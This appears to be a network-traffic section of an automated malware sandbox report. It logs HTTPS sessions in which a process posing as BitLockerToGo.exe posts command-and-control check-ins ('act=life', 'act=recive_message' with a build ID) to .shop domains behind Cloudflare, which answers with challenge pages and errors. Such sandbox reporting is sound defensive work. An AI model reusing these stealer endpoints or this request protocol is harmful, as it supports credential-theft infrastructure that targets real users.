2024-09-06 06:17:26 UTC	1369	IN	Data Raw: 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 7d 62 6f 64 79 2e 74 68 65 6d 65 2d 6c 69 67 68 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 33 31 33 31 33 31 7d 62 6f 64 79 2e 74 68 65 6d 65 2d 6c 69 67 68 74 20 61 7b 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 7d 62 6f 64 79 2e 74 68 65 6d 65 2d 6c 69 67 68 74 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 62 6f 64 79 2e 74 68 65 6d 65 2d 6c 69 67 68 74 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d Data Ascii: AxLjA1Ni0uMzk3Ii8+PC9zdmc+)}body.theme-light{background-color:#fff;color:#313131}body.theme-light a{color:#0051c3}body.theme-light a:hover{color:#ee730a;text-decoration:underline}body.theme-light .lds-ring div{border-color:#595959 transparent transparent}
2024-09-06 06:17:26 UTC	1369	IN	Data Raw: 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 7d 62 6f 64 79 2e 74 68 65 6d 65 2d 6c 69 67 68 74 2e 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 39 35 39 35 39 35 7d 62 6f 64 79 2e 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 7d 61 7b 62 Data Ascii: wIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+)}body.theme-light.feedback-report{border:1px solid #959595}body.feedback-report{border-radius:5px}a{b
2024-09-06 06:17:26 UTC	1369	IN	Data Raw: 2e 35 72 65 6d 7d 2e 63 6f 72 65 2d 6d 73 67 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 2b 50 48 42 68 64 47 67 67 5a 6d 6c 73 62 44 30 69 49 32 5a 6a 4e 54 63 30 59 53 49 67 5a 44 30 69 54 54 45 32 49 44 4e 68 4d 54 4d 67 4d 54 4d 67 4d 43 41 78 49 44 Data Ascii: .5rem}.core-msg{font-size:1rem}}#challenge-error-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSI+PHBhdGggZmlsbD0iI2ZjNTc0YSIgZD0iTTE2IDNhMTMgMTMgMCAxID
2024-09-06 06:17:26 UTC	1369	IN	Data Raw: 33 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 31 33 72 65 6d 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 33 31 33 72 65 6d 3b 6d 61 72 67 69 6e 3a 32 72 65 6d 20 30 3b 70 61 64 64 69 6e 67 3a 2e 33 37 35 72 65 6d 20 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 2c 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2c 63 6f 6c 6f 72 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 7d 2e 70 6f 77 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 Data Ascii: 3;border-radius:.313rem;color:#fff;font-size:.875rem;line-height:1.313rem;margin:2rem 0;padding:.375rem 1rem;transition-duration:.2s;transition-property:background-color,border-color,color;transition-timing-function:ease}.pow-button:hover{background-color
2024-09-06 06:17:26 UTC	1369	IN	Data Raw: 75 73 3a 35 30 25 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 33 31 33 31 33 31 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 34 35 73 7d 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 33 73 7d 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 33 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 31 35 73 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 64 73 2d 72 69 6e 67 7b 30 25 7b 74 Data Ascii: us:50%;border-top-color:#313131;box-sizing:border-box;display:block;position:absolute}.lds-ring div:first-child{animation-delay:-.45s}.lds-ring div:nth-child(2){animation-delay:-.3s}.lds-ring div:nth-child(3){animation-delay:-.15s}@keyframes lds-ring{0%{t
2024-09-06 06:17:26 UTC	1369	IN	Data Raw: 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 74 4d 54 41 75 4f 54 55 31 49 44 45 32 4c 6a 41 31 4e 53 30 7a 4c 6a 6b 31 4c 54 51 75 4d 54 49 31 4c 54 45 75 4e 44 51 31 49 44 45 75 4d 7a 67 31 49 44 55 75 4d 7a 63 67 4e 53 34 32 4d 53 41 35 4c 6a 51 35 4e 53 30 35 4c 6a 59 74 4d 53 34 30 4d 69 30 78 4c 6a 51 77 4e 58 6f 69 4c 7a 34 38 4c 33 4e 32 5a 7a 34 3d 29 7d 62 6f 64 79 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 Data Ascii: jIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJtMTAuOTU1IDE2LjA1NS0zLjk1LTQuMTI1LTEuNDQ1IDEuMzg1IDUuMzcgNS42MSA5LjQ5NS05LjYtMS40Mi0xLjQwNXoiLz48L3N2Zz4=)}body #challenge-error-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5v
2024-09-06 06:17:26 UTC	1369	IN	Data Raw: 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 63 4d 54 69 6d 65 4d 73 3a 20 27 33 39 30 30 30 30 27 2c 63 54 70 6c 56 3a 20 35 2c 63 54 70 6c 42 3a 20 27 63 66 27 2c 63 4b 3a 20 22 22 2c 66 61 3a 20 22 5c 2f 31 6e 68 75 4d 34 2e 6a 73 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 42 76 69 38 31 55 77 59 5f 6a 79 41 2e 4e 5f 30 36 6a 67 4f 58 50 53 66 6d 47 71 54 76 4f 5a 46 70 67 76 30 37 6f 54 52 56 69 51 2d 31 37 32 35 36 30 33 34 34 36 2d 30 2e 30 2e 31 2e 31 2d 34 37 37 38 22 2c 6d 64 3a 20 22 72 42 42 67 6f 69 70 35 30 53 52 37 6a 73 39 6e 6b 6f 4c 69 77 71 69 45 6d 68 4e 51 36 4d 6d 43 5a 67 59 6d 55 57 36 44 70 37 4d 2d 31 37 32 35 36 30 33 34 34 36 2d 31 2e 31 2e 31 2e 31 2d 39 75 71 49 7a 4a 52 4c 36 4b 6b 6f 6e 69 77 37 43 68 67 6b 50 39 45 30 69 33 6b Data Ascii: meMs: '1000',cMTimeMs: '390000',cTplV: 5,cTplB: 'cf',cK: "",fa: "\/1nhuM4.js?__cf_chl_f_tk=Bvi81UwY_jyA.N_06jgOXPSfmGqTvOZFpgv07oTRViQ-1725603446-0.0.1.1-4778",md: "rBBgoip50SR7js9nkoLiwqiEmhNQ6MmCZgYmUW6Dp7M-1725603446-1.1.1.1-9uqIzJRL6Kkoniw7ChgkP9E0i3k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49762	188.114.96.3	443	2368	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:17:44 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stamppreewntnq.shop
2024-09-06 06:17:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-06 06:17:45 UTC	802	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=judqal4mb0pabuv14o0dedl42f; expires=Tue, 31 Dec 2024 00:04:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tv%2FQmjT08HkaKT%2BXErAreDCmY2lhAqMS3WUu82jOEDJwDUoAlQIuavf%2Fwq7DOtS2qk453pwNRCo1KGoopulZylkPPmykJ33YYcA3KVQ0ZTMeQdWG2mFbCumv%2B36cP4aZQgfMNzIz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bec56776dd080df-EWR alt-svc: h3=":443"; ma=86400
2024-09-06 06:17:45 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-06 06:17:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49764	104.21.10.172	443	2368	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:17:45 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: condedqpwqm.shop
2024-09-06 06:17:45 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-06 06:17:46 UTC	547	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y1nwENba43dWVjyjogZTiZBvwCBGtDFtr2zuSImgYu6bXM%2Fk5qYd9B72x0grHKI2L43HEDGqvSuRlC3To8Pfh%2B7RGa0LMDiCpepN6Q82S6KkBWWRCroStPWqB8nnwqFUp%2Bh%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bec567ecb73c475-EWR
2024-09-06 06:17:46 UTC	822	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-06 06:17:46 UTC	1369	IN	Data Raw: 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 Data Ascii: rrors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-a
2024-09-06 06:17:46 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 4a 75 63 49 72 43 7a 38 4d 34 56 30 5a 31 7a 6a 54 52 61 2e 46 46 6c 59 71 6c 41 31 65 35 45 4e 47 41 5f 2e 71 4c 63 57 4a 2e 59 2d 31 37 32 35 36 30 33 34 36 36 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d Data Ascii: <input type="hidden" name="atok" value="JucIrCz8M4V0Z1zjTRa.FFlYqlA1e5ENGA_.qLcWJ.Y-1725603466-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style=
2024-09-06 06:17:46 UTC	845	IN	Data Raw: 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 Data Ascii: dden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></s
2024-09-06 06:17:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49768	104.21.10.172	443	2368	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:17:47 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=JucIrCz8M4V0Z1zjTRa.FFlYqlA1e5ENGA_.qLcWJ.Y-1725603466-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: condedqpwqm.shop
2024-09-06 06:17:47 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 61 38 6b 61 66 6d 2d 2d 40 63 6c 6f 75 64 63 6f 73 6d 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=a8kafm--@cloudcosmic&j=
2024-09-06 06:17:47 UTC	804	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=14dvrb4kmdkv5gofi6072remod; expires=Tue, 31 Dec 2024 00:04:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BWU6K0t9AewS6DXOH4HnHnFDIc%2FzZLIFUWUa7PfvZJFEolKSdbFPlGWh%2BPGqPwbaHG8nGzV4Y1M61%2Bvha2KCWR85Q8QeN1kD4D6%2FJYUu70%2B3ha3mY8N9QFQg14wo%2BcnlzeFR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bec568998ef7c90-EWR alt-svc: h3=":443"; ma=86400
2024-09-06 06:17:47 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-06 06:17:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49766	104.21.10.172	443	7508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 06:17:47 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: condedqpwqm.shop
2024-09-06 06:17:47 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-06 06:17:48 UTC	547	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TAQjnIQ6YK0mO3l1Si1ZPtMowD7aJmmUOEOfl2beXigT1hvQTwqaYQwhyjMuCMAYwgCVvmfziJzR5pH3aCmUMc%2BzcyrekbhF%2FFwzGUEL%2F4ZIhspuj3f%2BE1YmkBLZ5L8lCPTC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bec568b1fc841de-EWR
2024-09-06 06:17:48 UTC	822	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-06 06:17:48 UTC	1369	IN	Data Raw: 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 Data Ascii: rrors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-a
2024-09-06 06:17:48 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 55 55 4f 46 57 68 75 75 77 59 75 59 2e 6b 61 62 6a 48 6a 37 6f 39 36 44 36 31 6c 41 47 73 53 74 49 69 62 4f 50 2e 69 41 72 44 38 2d 31 37 32 35 36 30 33 34 36 38 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d Data Ascii: <input type="hidden" name="atok" value="UUOFWhuuwYuY.kabjHj7o96D61lAGsStIibOP.iArD8-1725603468-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style=
